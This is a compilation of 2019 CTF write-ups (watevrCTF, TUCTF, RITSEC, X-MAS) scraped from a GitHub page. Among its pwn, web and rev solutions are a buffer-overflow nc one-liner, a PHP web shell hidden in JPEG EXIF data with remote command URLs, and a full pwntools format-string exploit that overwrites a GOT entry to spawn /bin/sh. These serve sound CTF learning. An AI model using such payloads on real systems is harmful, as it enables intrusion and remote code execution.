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<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/dwang/ctf-writeups/tree-commit/bf03b85159fae267dbaf8a877bea5979e08f7991/tuctf-2019/pwn/3step" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>3step</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>3step.py</span> </div>
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Hey guys back with another set of few writeups
# **MISC**
## Polly-:> description:
I sure do love my polly uh ehh i mean polynomials, heh. Yeah that's what I meant...
### Solution:
We were given [polly.txt](scripts/polly.txt) file which contains the polynomialand following observations I conlcuded from them:
1. Why there are mostly zeroes at the end of denominator in each coefficient2. Then 119 is the ascii of 'w'.
then looking for more in direction of approach 2nd I thought, that 119 is the value of polynomial at value '0'.So maybe 'a' will be the value of polynomial at x='1' as we know the flag format 'watevr{'.
Thus [scripting](scripts/poly.py) it in few lines using [sympy](https://www.sympy.org/).I wonder though it has quite less solves :confused:```python
from sympy import *y=eval(open("polly.txt","r").read())x=symbols('x')print(''.join([chr(y.subs(x,i)) for i in range(57)]))```
Here is our flag:> watevr{polly_polynomials_youtube.com/watch?v=THNWVVn9JO0}
# **PWN**
## Voting Machine 1-:> description:
In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe...
### Solution:
We were given 64 bit binary [kamikaze](scripts/kamikaze)
>kamikaze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=0e647f48bd36f15e866166910d10dd173fb0fcf6, not stripped
Upon finding functions `0x0000000000400807 super_secret_function` found this but main function wasn't redirecting it.So basic buffer overflow challenge and set the return pointer to this function and then execute it . For offset calculation the buffer size was 2 so adding 8 bytes extra as in 64 bit binary to set the instruction pointer to the right location.
So one liner linux command for that:
`(python -c 'from pwn import p64;print "A"*10 +p64(0x00400807)') | nc 13.48.67.196 50000`
```Hello and welcome to our voting application!Today's vote will be regarding the administration ofwatevr CTF.the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible.Thanks!Vote: Thanks for voting!watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}```
Here is our flag
> watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.c</span> </div>
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<div data-target="readme-toc.content" class="Box-body "> <div class="plain">Google CTF 2019 RIDL solution.An implementation of the original paper: https://cs.vu.nl/~herbertb/download/ridlers/files/ridl.pdfLoosely based on:* https://github.com/pietroborrello/RIDL-and-ZombieLoad* https://github.com/gkaindl/meltdown-poc
Run make, then run ./solve.py.</div> </div> </div>
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# fuckn't
#### Category: rev#### Points: 111
We are given a js file full of brackets. This is obfuscated using jsfuck obfuscator. So we use jsunfuck to get unfucked output.
```js[]["f"+([!1]+[][[[].filter["constructor"]("return(isNaN+false).constructor.fromCharCode(119,97,116,101,118,114,123,106,97,118,97,115,99,114,105,112,116,95,105,115,95,97,95,49,97,110,103,117,97,103,51,95,102,48,114,95,105,110,116,51,49,49,51,99,116,117,97,49,115,125)")()]])["10"]+"lter"]["constructor"]("return alert")()([].filter["constructor"]("return(isNaN+false).constructor."+420302320151902["toString"]("31")["split"](3)["join"]("C")+"de("+"73false39false109false32false115false111false114false114false121false32false68false97false118false101false44false32false73false39false109false32false97false102false114false97false105false100false32false73false32false99false97false110false39false116false32false100false111false32false116false104false97false116"["split"](!1)+
")")());
```
Even the unfucked output is not very readable. But we can see there are some numbers in the output. These numbers look ascii. Let's take a look.
```js>String.fromCharCode(119,97,116,101,118,114,123,106,97,118,97,115,99,114,105,112,116,95,105,115,95,97,95,49,97,110,103,117,97,103,51,95,102,48,114,95,105,110,116,51,49,49,51,99,116,117,97,49,115,125)"watevr{javascript_is_a_1anguag3_f0r_int3113ctua1s}"``` |
# RITSEC CTF 2019 – Potat0
* **Category:** web* **Points:** 158
## Challenge
> http://ctfchallenges.ritsec.club:8003/>> Flag format is RS_CTF{}>> Author: Pablo Potat0
## Solution
Connecting to the web site, an interesting HTML comment can be discovered.
```html<article><link rel="stylesheet" type="text/css" href="style.css"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve"> <path id="facebook" fill="#ffffff" d="M17.252,11.106V8.65c0-0.922,0.611-1.138,1.041-1.138h2.643V3.459l-3.639-0.015 c-4.041,0-4.961,3.023-4.961,4.961v2.701H10v4.178h2.336v11.823h4.916V15.284h3.316l0.428-4.178H17.252z"/> </svg>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve"> <path id="instagram" fill="#ffffff" d="M22.107,3.415H7.893c-2.469,0-4.479,2.007-4.479,4.477v4.73v9.486c0,2.469,2.01,4.479,4.479,4.479h14.215 c2.469,0,4.479-2.01,4.479-4.479v-9.486v-4.73C26.586,5.421,24.576,3.415,22.107,3.415 M23.393,6.086l0.512-0.004v0.511v3.416 l-3.916,0.014l-0.012-3.928L23.393,6.086z M11.693,12.622c0.742-1.028,1.945-1.7,3.307-1.7s2.564,0.672,3.307,1.7 c0.484,0.67,0.771,1.49,0.771,2.379c0,2.248-1.828,4.078-4.078,4.078c-2.248,0-4.078-1.83-4.078-4.078 C10.922,14.112,11.211,13.292,11.693,12.622 M24.328,22.107c0,1.225-0.994,2.219-2.221,2.219H7.893 c-1.225,0-2.219-0.994-2.219-2.219v-9.486h3.459C8.832,13.356,8.664,14.159,8.664,15c0,3.494,2.842,6.335,6.336,6.335 s6.336-2.842,6.336-6.335c0-0.842-0.17-1.645-0.467-2.379h3.459V22.107z"/> </svg>
</article>```
So you can discover the existence of two more pages:* [http://ctfchallenges.ritsec.club:8003/upload.php](http://ctfchallenges.ritsec.club:8003/upload.php)* [http://ctfchallenges.ritsec.club:8003/photos.php](http://ctfchallenges.ritsec.club:8003/photos.php)
Basically the web application allows the upload of an image that will be displayed into a gallery. The upload functionality is vulnerable because it doesn't check the content of the image and it doesn't convert it in order to remove unwanted content.
As a consequence, a [shell](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/RITSEC%20CTF%202019/Potat0/shell.php.jpeg) can be inserted into the image.
```root@m3ss4p0:~# cp cat.jpeg shell.php.jpegroot@m3ss4p0:~# exiftool -DocumentName="';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '';} __halt_compiler();?>" shell.php.jpeg 1 image files updated```
The image is renamed, but it can be referenced to execute commands remotely.
```http://ctfchallenges.ritsec.club:8003/uploads/10_0_0_37.php.jpeg?cmd=ls%20-al%20..
total 44drwxr-xr-x 3 www-data www-data 4096 Nov 15 13:31 .drwxr-xr-x 1 root root 4096 Apr 3 2019 ..-rw-r--r-- 1 www-data www-data 11321 Apr 3 2019 index.html-rw-rw-r-- 1 root root 1713 Nov 15 13:23 index.php-rwxrwxr-x 1 root root 2001 Nov 15 13:23 lib.php-rwxrwxr-x 1 root root 1871 Nov 15 13:23 photos.php-rw-rw-r-- 1 root root 809 Nov 15 13:23 style.css-rwxrwxr-x 1 root root 1331 Nov 15 13:23 upload.phpdrwxr-xr-x 2 www-data www-data 4096 Nov 15 17:58 uploads
http://ctfchallenges.ritsec.club:8003/uploads/10_0_0_37.php.jpeg?cmd=find%20/%20-name%20flag*%202%3E%20/dev/null
/home/flag.txt/tmp/npm-6-00351b95/registry.npmjs.org/flagged-respawn/usr/local/lib/node_modules/gulp/node_modules/flagged-respawn/usr/local/lib/node_modules/grunt-cli/node_modules/flagged-respawn/sys/devices/pnp0/00:04/tty/ttyS0/flags/sys/devices/platform/serial8250/tty/ttyS15/flags/sys/devices/platform/serial8250/tty/ttyS6/flags/sys/devices/platform/serial8250/tty/ttyS23/flags/sys/devices/platform/serial8250/tty/ttyS13/flags/sys/devices/platform/serial8250/tty/ttyS31/flags/sys/devices/platform/serial8250/tty/ttyS4/flags/sys/devices/platform/serial8250/tty/ttyS21/flags/sys/devices/platform/serial8250/tty/ttyS11/flags/sys/devices/platform/serial8250/tty/ttyS2/flags/sys/devices/platform/serial8250/tty/ttyS28/flags/sys/devices/platform/serial8250/tty/ttyS18/flags/sys/devices/platform/serial8250/tty/ttyS9/flags/sys/devices/platform/serial8250/tty/ttyS26/flags/sys/devices/platform/serial8250/tty/ttyS16/flags/sys/devices/platform/serial8250/tty/ttyS7/flags/sys/devices/platform/serial8250/tty/ttyS24/flags/sys/devices/platform/serial8250/tty/ttyS14/flags/sys/devices/platform/serial8250/tty/ttyS5/flags/sys/devices/platform/serial8250/tty/ttyS22/flags/sys/devices/platform/serial8250/tty/ttyS12/flags/sys/devices/platform/serial8250/tty/ttyS30/flags/sys/devices/platform/serial8250/tty/ttyS3/flags/sys/devices/platform/serial8250/tty/ttyS20/flags/sys/devices/platform/serial8250/tty/ttyS10/flags/sys/devices/platform/serial8250/tty/ttyS29/flags/sys/devices/platform/serial8250/tty/ttyS1/flags/sys/devices/platform/serial8250/tty/ttyS19/flags/sys/devices/platform/serial8250/tty/ttyS27/flags/sys/devices/platform/serial8250/tty/ttyS17/flags/sys/devices/platform/serial8250/tty/ttyS8/flags/sys/devices/platform/serial8250/tty/ttyS25/flags/sys/devices/virtual/net/eth0/flags/sys/devices/virtual/net/lo/flags
http://ctfchallenges.ritsec.club:8003/uploads/10_0_0_37.php.jpeg?cmd=cat%20/home/flag.txt
RS_CTF{FILE_UPLOAD_ISN'T_SECURE}```
The flag is the following.```RS_CTF{FILE_UPLOAD_ISN'T_SECURE}``` |
# Axela
#### Category: misc#### Points: 236
Axela was an easy misc discord bot challenge but not a lot of teams solved it.
The challenge was to exploit a discord bot called Axela.
```$ Axela help
All commands:
Axela ping - pingAxela say <phrase> - repeats the phraseAxela get guilds <guild_id> - gets info about a specific guildAxela get channels <channel_id> - gets info about a specific channelAxela get users <user_id> gets info about a specific user```
An interesting discovery:
```$ Axela get users !@
Unrecognized response format{"user_id": ["Value \"!@\" is not snowflake."]}```
This means Axela will leak values if the format is not what it expects. Also searching for snowflake leads us to the discord api.
```$ Axela get users /
I dont like that character. Please don't use that.```
Oh. They're filtering `/`. Now we know the exploit. URLEncode it.
```$ Axela get users %2f
404: Not Found```
As expected.
Using discord api documentation, let's get the servers Axela is a part of:
```$ Axela get users @me%2fguilds
[{"id": "601776233411510302", "name": "Super Secret Server", "icon": "baca37e4b8e17d0d59afde06f86b4659", "owner": false, "permissions": 2146959351, "features": []}, {"id": "603684713361571879", "name": "watevrCTF", "icon": "2e898a64583de4c1c4bba2c58b69a303", "owner": false, "permissions": 104324673, "features": []}]```
Looks like Axela is a part of the super secert server. Let's find a way to join that server. Maybe there are open invites to the server. Let's see.
```$ Axela get guilds 601776233411510302%2finvites
[{"code": "GkadtPv", "guild": {"id": "601776233411510302", "name": "Super Secret Server", "splash": null, "banner": null, "description": null, "icon": "baca37e4b8e17d0d59afde06f86b4659", "features": [], "verification_level": 0, "vanity_url_code": null}, "channel": {"id": "601776741966413834", "name": "general", "type": 0}, "inviter": {"id": "601773149742432270", "username": "watevr", "avatar": null, "discriminator": "2443"}, "uses": 13, "max_uses": 0, "max_age": 0, "temporary": false, "created_at": "2019-07-19T14:07:36.029000+00:00"}]```
Use the code to join the super secert server and you have the flag in the channel.
Don't try, the invite is invalidated now. It's a 1337 only server now. XD |
Shellcode needs to be split up into two small buffers. Call the first buffer to execute the first part of the shellcode plus a jump to the second buffer, that contains the second part of the shellcode. |
# Personal Photos writeup (Challenge author perspective)
This is one of the challenges I enjoyed making the most, and it turned out to be a cool forensics challenge in my opinion. Here is the intended solution:
When we unzip the zip file we get 4256 different jpegs. The original dataset for these where unique results from [unsplash](https://unsplash.com) for the search query "food". The actual names of the photos are straight out of urandom and thus not relevant. There is no stego hidden in the images, they are just resized right out of unsplash. Some of the jpegs have been corrupted in different ways.
There are two parts to the solution. The intended solution to the first part is to check the EXIF metadata. if we run exiftool on any image we will see two suspicious values:
```X Position : 77Y Position : 2```
These are not commonly seen values in EXIF data. I myself couldn't actually find any documentation on what X and Y Position were used for, so if you know let me know. If we do the same for other images we will notice that all images have unique (X, Y) tuples. This suggests that they should be arranged in a grid (collage), and when this is done we get the following:
(The random part of the flag is not exactly the same as it was during the ctf because of this being from a different version of the challenge, but you get the idea)
The black spots in the image are the corrupted images, so we will now need to repair them to get the flag. There are a few different techniques used to corrupt the images. I wont explain how all of them should be repaired in detail, but if you are interested in seeing how they were corrupted in the first place check out the `corrupters` class in `generate.py` in the same folder as this writeup. Each method in that class is a different corruption method. Each corruption method corrupts 4 characters of the random part of flag, or 2 bytes of data. Therefore, all images will need to be repaired in order to extract the flag. Technically, you could manage to find the flag without solving one of the corruption methods by brute forcing a maximum of 65536 flags against the ctf platform, however this is against the rules and would result in disqualification of the team. When you repair all images you get the following collage:
Because of a small bug in the generator script the creation times of the images were not obfuscated, so an alternative solution exists to the first part of the challenge by figuring out in what order the generator script created the images.
If you want to take a look at the challenge source or my solve script, it's in the same folder as this writeup file. |
# Faker
**Categoria: Rev**
# Descrição:> One of these things is not like the other. Can you uncover the flag?> > faker
# Solve / SoluçãoBaixando o arquivo e descompilando-o no Ghidra, o trecho a seguir foi reescrito em C.
```c
#include <stdio.h>
int main(){ printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k"); return 0;}
void printFlag(char *param_1){ char *__dest; size_t sVar1; int local_30; __dest = (char *)malloc(0x40); memset(__dest,0,0x40); strcpy(__dest,param_1); sVar1 = strlen(__dest); local_30 = 0; while (local_30 < (int)sVar1) { __dest[local_30] = (char)((int)((((int)__dest[local_30] ^ 0xfU) - 0x1d) * 8) % 0x5f) + ' '; local_30 = local_30 + 1; } puts(__dest); return;}```
Sua execução imprimiu a *flag*: ```TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}```.
# Flag: ```TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}``` |
# OpenDoor
**Categoria: Web**
# Descrição:>This challenge is an open door; show us you know how to find the key.
>chal.tuctf.com:30002
# Solução:Acessando a página web, temos:E analisando o código fonte foi possível encontrar a flag:
# Flag:```TUCTF{f1r5t_fl46_345135t_fl46}``` |
# The Weather (pwn , 127pts)
We were given a remote service and a docker file. the binary is recompiled every time we connect to the service then sent to us through it base64 encoded.
After analyzing 2 or 3 binaries, we can figure out that their behaviour is the same and they're vulnerable to a stack based buffer overflow. But the offset to the saved return pointer is changing some addresses too like the "pop rdi; ret" gadget..
So the idea is to build an exploit that dynamicly and automaticly extract the addresses and calculates the offset to the saved return pointer then build a system("/bin/sh") ROP chain using the ret2libc technique. |
# Eggnog (PWN , 409pts)
We were given a 64bit ELF file.
After analyzing, it's reading a 47 bytes from the user then calculates 14 random numbers between 0 and the length of the input. then it removes the bytes that come at one of the 14 numbers calculated before so these numbers are random indexes. Then it asks for the user permission to execute the rest of the bytes after the substraction. if the answer is "n" (no) it repeats all the process again.
We can notice that it's printing all the 14 numbers after doing the calculations so if we can predict the next 14 numbers we will be able to prevent the shellcode corruption with filling the 14 indexes calculated with junk bytes
Thanks to my teammate that recognized the PRNG and helped me to crack it.
It's the LCG algorithm ([Linear Congruential Generators](https://tailcall.net/blog/cracking-randomness-lcgs/))
So now the exploitation scenario is simple: Send random 46 bytes to the server to make it print the first 14 numbers calculated then answer with "n" to not execute them then calculate the missing parameters of the algorithm then calculate the next 14 indexes and put junk bytes at them, then send the new constructed shelcode to the server and answer with "y" to execute it.
=> We got a shell |
# The Jungle writeup (Challenge author perspective)
So this challenge turned out to be one of the most hated ones, and I'm sorry about that, though some of the solvers said it was good in hindsight so that may be because of people getting frustrated about the temple :P. Here was the intended solution and the train of thought i thought people would take:
So of course when we press the link to go to the temple we get redirected a lot, and since the path to the temple consists of 50 steps most browsers will throw a "too many redirects" error. Chrome specifically throws it after 20 redirects and doesn't let you get to the temple. From here, one could write a script to request all /path/1 - /path/50 requests in order to get to the temple (or as i heard someone do, patch chrome to workaround the too many redirects error XD). Many people got this far, though got stuck later as the temple didn't actually give you anything and was a red herring. From here the thought was that one would investigate some more into how the path system worked. I released a patch that changed the cookie into a readable signed cookie instead of an encrypted cookie to make this easier. Through investigation one could for example find out that the system checked if the path was correct after 50 steps, and if not sent you to /lost. Though the most crucial thing to find out would be the timing of the requests. This challenge was based on a side channel attack which isn't seen that often in ctfs. Here comes the solution: there were two correct paths that one could take, one leading to the temple and the other to the flag. the path to the temple consisted of course of visiting /path/1 to /path/50 in order, with a redirect to the temple at the end. The path to the flag however was random, consisting still of 50 steps with integers from 1 to 50 but in a random order. The key to figuring out the path to the flag was to notice that each correct step along a path made the web server take 500 more ms to respond. For example, if you cleared your session cookie to reset your path and then visited /path/1 the request would take just over 500ms to return. If you instead requested /path/2, the response would be nearly instant. Therefore, you could run through all steps from /path/1 to /path/50 clearing your cookie in between and notice that both /path/1 and /path/46 took unusually long to respond, and it just so happens that the first step of the path to the flag is 46. You could then save this cookie since it doesn't have anything uniquely identifying it and use it to go through the 50 steps again to find the correct step 2. After doing this 48 more times, you get redirected to the flag.
I think the most pms i got about the jungle were people being frustrated about getting to the temple but not getting anything useful out of it. Some people asked if there was stego involved on the images, but while there are some really bad ctfs that would do that, we are not one of them. I think one of the biggest problems was people not being familiar with this side channel attack, or simply not testing it the way it was implemented. In hindsight this is probably one of my most controversial challenges, requiring some mild guesswork to get right, but still nothing absurdly unreasonable. I'm also actually really split on if I'm actually sorry or not since one of the problems was people not being familiar with the attack, which of course is one of the points of ctfs. I hope you learned something :P
If you want to take a look at the challenge source, it's in the same folder as this writeup file. |
# SN0WVERFL0W (PWN , 25pts)
Basic bufferoverflow vulnerability. We need to leak a libc address to bypass ASLR then build a system("/bin/sh") ROP chain using re2libc technique. |
## https://www.tdpain.net/progpilot/xmas2019/letter/
-----
Archive.org https://web.archive.org/web/20191220201444/https://www.tdpain.net/progpilot/xmas2019/letter/
|
### Santa's Crackme
The first and the most easiest crackme. The input is xored with 3 and compared with encoded flag.
Solution:
``` pythonflag = '[.NBPx67m47\\26\\a7g\\74\\o2`0m60\\`k0`h2m5~'password = ''for i in flag: password += chr(ord(i) ^ 3)print password```
``` >>> X-MAS{54n74_15_b4d_47_l1c3n53_ch3ck1n6}``` |
## https://www.tdpain.net/progpilot/xmas2019/sequelfun/
-----
Archive.org https://web.archive.org/web/20191220201735/https://www.tdpain.net/progpilot/xmas2019/sequelfun/ |
How are the special bits called in quantum computing? **qubit**
What is the name of the graphical representation of the qubit? **bloch sphere**
In what state is a qubit which is neither 1 or 0? **superposition**
What do you call 2 qubits which have interacted and are now in a wierd state in which they are correlated? **entangled**
What do you call the notation used in Quantum Computing where qubits are represented like this: |0> or |1>? **dirac**
What gate would you use to put a qubit in a superposition? **hadamard**
What gate would you use to entangle 2 qubits? **controlled not**
What gate would you use to "flip" a qubit's phase in a superposition? **pauli-z**
What's the full name of the physicist who invented the X, Y and Z gates? **wolfgang pauli**
What are quantum gates represented by (in dirac notation)? **unitary matrix**
How do you represent a qubit |1> put in a superposition (in dirac)? **|->**
Will a superposition break if measured? **yes**
Can you take a qubit out of a superposition with a Hadamard gate? **yes**
If you measure a qubit in a superposition, what's the average chance of measruing |0>? **0.5**
What's the name of the famous paradox which demonstrates the problem of decoherence? **schrodinger's cat**
Will particles always measure the same when entangled? **no**
Will entangled qubits violate Bell's Inequality? **yes**
Does the following state present 2 entangled qubits? 1/sqrt(2)(|10> + |11>)? **no**
Does the following state present 2 entangled qubits? 1/sqrt(2)(|10> + |01>)? **yes**
Can 2 entangled qubits ever get untangled? **yes**
Congratz! You made it! ;) Here's your flag: X-MAS{Qu4ntwm_Tantrum_M1llionar3} |
#### Given the binary with the detail like this below```chao at Yu in [~/Documents/WriteUps/TUCTF/pwn/vulnmath] on git:master ✔︎ 7e4a166 "Added so many new pwn"16:53:27 › file vulnmath && checksec vulnmathvulnmath: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=ba48ed39bdaaa3ddfc1bab6e8f45c8ee92e552bc, for GNU/Linux 3.2.0, not stripped[*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/chao/.pwntools-cache/update to 'never'.[*] You have the latest version of Pwntools (3.13.0)[*] '/home/chao/Documents/WriteUps/TUCTF/pwn/vulnmath/vulnmath' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
```After a research, we knew that this binary has a format string bug.Looks like it has no canary and PIE, but NX is enabled. The idea is to overwrite **GOT address** of **atoi** into **system**.First, we find the index where we can overwrite. we found it at index 7.To overwrite the **atoi** into **system**, first we need to leak the libc. We found the libc leak of **__libc_start_main_ret** at index 23.Then for the **GOT overwrite**, we made this exploit
```def exploit(p, libc_diff, libc): binary = ELF("vulnmath") payload = '' payload += '%23$p'
p.sendline(payload) p.recvuntil("Incorrect!\n")
libc_leak = int(p.recvline()[:-1], 16) log.info("Libc Diff : {}".format(hex(libc_diff))) log.info("__Libc_start_main: {}".format(hex(libc_leak))) libc.address = libc_leak - libc_diff log.info("Libc base : {}".format(hex(libc.address))) libc_system = libc.symbols['system'] log.info("Libc system : {}".format(hex(libc_system)))
atoi_got = binary.symbols["got.atoi"] log.info("atoi@got: {}".format(hex(atoi_got))) overwrite = str(hex(libc_system))[2:] first_overwrite = int(overwrite[4:], 16) log.info("First overwrite: {} or in hex {}".format(first_overwrite, hex(first_overwrite))) second_overwrite = int(overwrite[:4], 16) log.info("Second overwrite: {} or in hex {}".format(second_overwrite, hex(second_overwrite)))
payload = "" payload += p32(atoi_got) payload += p32(atoi_got + 2) payload += "%6${}p".format(first_overwrite - len(payload)) payload += "%6$n" payload += "%{}p".format(second_overwrite - first_overwrite) payload += "%7$n"
# gdb.attach(p, """ # brva *0x08049446 # brva *0x0804944c # c # """)
p.sendline(payload) sleep(1) p.sendline("/bin/sh\x00") p.sendline("ls -la && cat f*") p.interactive()
if __name__ == "__main__": if len(sys.argv) < 2: log.info("Argument needed!") log.info("Usage: python {} <local/remote>".format(sys.argv[0])) sys.exit(0) elif sys.argv[1] == "local": p = process("./vulnmath") libc = ELF("libc6_2.27-3ubuntu1_i386.so") exploit(p, libc.symbols["__libc_start_main"] + 241, libc) elif sys.argv[1] == "remote": p = remote("chal.tuctf.com", 30502) libc = ELF("libc.so.6") exploit(p, libc.symbols["__libc_start_main"] + 249, libc) else: sys.exit(0)```Then run the exploit. we should get the shell```> > $ iduid=1000(chao) gid=1000(chao) groups=1000(chao),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),999(docker)``` |
X-MAS: Lapland Mission
The game is written in Unity Engine. We asked to kill all robots to get the flag, but robots instantly kill us when get in their FOV.
Solution:
In Unity, every game class is stored in "Data\Managed\Assembly-CSharp.dll". Let's open it in dnSpy.
Let's open Bot class and change Shoot method for this:
To this:
Now bots can't kill us and we can easily get the flag:)
|
### Secret Journal
After launching the program, we are presented with a 2-minute funny video about duck eating microcontroller.
But there is no place to enter our password :(
Let's open it in IDA and see what's up
Winmain:
So, program loads duck.mp4 from resources, drops it to disk and starts thread that plays it.
If it has any other functionality, then it is in **sub_402f01**
**sub_402f01** - WindowProc callback function, an application-defined function that processes messages sent to a window.
As we can see, if we press **ENTER** every keystroke that we pressed before is being passed to **check_input** function and if it returns 1, the secret window will appear.
**check_input** function code:
``` pythonStr = "pnfgenirgryr0"input = ""for i in Str: input += chr((ord(i) - 84) % 26 + 0x61)print(input)```
``` python>>> castraveteleq```
The last character has to be number and be equal to Str[last], so the final password is **castravetele0**
After entering it, the new window appeared.
The winproc of this window is straight forward: if password is correct, then the secret.png will be decrypted.
And here comes the hint. This image is the program on **PIET** programming language. Passing it to online interpreter reaveals the password **parola_smechera0**. The secret.png gets decrypted and we get our flag :) |
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